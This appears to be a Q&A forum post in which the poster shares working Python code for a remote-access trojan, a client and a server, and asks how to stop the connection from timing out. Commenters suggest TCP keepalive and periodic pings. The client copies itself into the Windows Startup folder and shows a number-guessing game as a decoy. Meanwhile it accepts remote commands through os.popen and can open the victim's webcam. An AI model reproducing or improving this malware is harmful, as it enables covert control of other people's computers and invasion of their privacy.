0

This is my client.py:

import random
import socket
import threading
import sys
import os
from os import system, name
from time import sleep
import cv2


def main():
    # Move file to startup
    username = os.getlogin()
    current_dir = os.getcwd()
    os.replace(f"{current_dir}\\client.py",
              f"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\client.py")

    def clear():
        if name == 'nt':
            _ = system('cls')

    def access():
        HOST = '127.0.0.1'
        PORT = 22262

        while True:
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                while True:
                    try:
                        client.connect((HOST, PORT))
                        break
                    except Exception:
                        sleep(1)
                cmd_mode = False

                while True:
                    command = client.recv(1024).decode('utf-8')
                    # Commands for the trojan
                    if command == 'cmdon':
                        cmd_mode = True
                        client.send(
                            'You now have terminal access!'.encode('utf-8'))
                        continue
                    if command == 'cmdoff':
                        cmd_mode = False
                        client.send(
                            'You have exited terminal access!'.encode('utf-8'))
                    if cmd_mode:
                        os.popen(command)
                    if command == 'webcam':
                        client.send(
                            f'{command} was exectued successfully!'.encode('utf-8'))
                        cap = cv2.VideoCapture(0)
                        while True:
                            ret, frame = cap.read()
                            cv2.imshow('WebCam (Press enter to exit)', frame)
                            if cv2.waitKey(1) & 0xFF == ord(' '):
                                break
                        cap.release()
                        cv2.destroyAllWindows()

            except Exception:
                sleep(1)

    def game():
        number = random.randint(0, 1000)
        tries = 1
        done = False

        while not done:
            guess = int(input('Enter a guess: '))

            if guess == number:
                done = True
                print('You won!')
            else:
                tries += 1
                if guess > number:
                    print('The actual number is smaller.')
                else:
                    print('The actual number is larger.')
            print(f'You need {tries} tries!')

    t1 = threading.Thread(target=game)
    t2 = threading.Thread(target=access)

    t1.start()
    t2.start()


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print('Interrupted')
        try:
            sys.exit(0)
        except SystemExit:
            os._exit(0)

This is my server.py:

import socket
from os import system, name


def clear():
    if name == 'nt':
        _ = system('cls')


HOST = ''
PORT = 22262

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))

server.listen()

client, address = server.accept()

while True:
    print(f'Connected to {address}')
    cmd_input = input('Enter a command: ')
    clear()
    client.send(cmd_input.encode('utf-8'))
    print(client.recv(1024).decode('utf-8'))

My code works perfectly but if I leave both connections on (client.py and server.py) for a bit of time then run a command on sever.py I get this error:

ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host

What can I do to make my the program never timeout.

..........................................................................................................................................................................................................

  • Sockets do that. Try setting the KEEPALIVE flag (https://stackoverflow.com/questions/12248132/how-to-change-tcp-keepalive-timer-using-python-script) which puts it into the hands of the OS. If that fails, you might want to send a periodic PING across the socket. – Mike Dec 27 '20 at 10:55
  • What can I use to send a ping? Do I send a ping to the client or the server? – mohammad al nesef Dec 27 '20 at 11:13
  • It's simply a null packet. Data that's sent across the connection and received at the other end - that's all that it takes to reset the timeout on the socket. You can send it in either direction, its contents depend on the protocol being used but most have a null command implemented, if it's your own protocol then just add one. The Keepalive should do the trick, though. – Mike Dec 27 '20 at 12:15
  • I'm fairly new to sockets but if I add ```server.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))``` to server.py it should work right? – mohammad al nesef Dec 27 '20 at 13:15
  • If this worked, can you make it an answer and accept it? – Natan Apr 28 '22 at 09:17

0 Answers0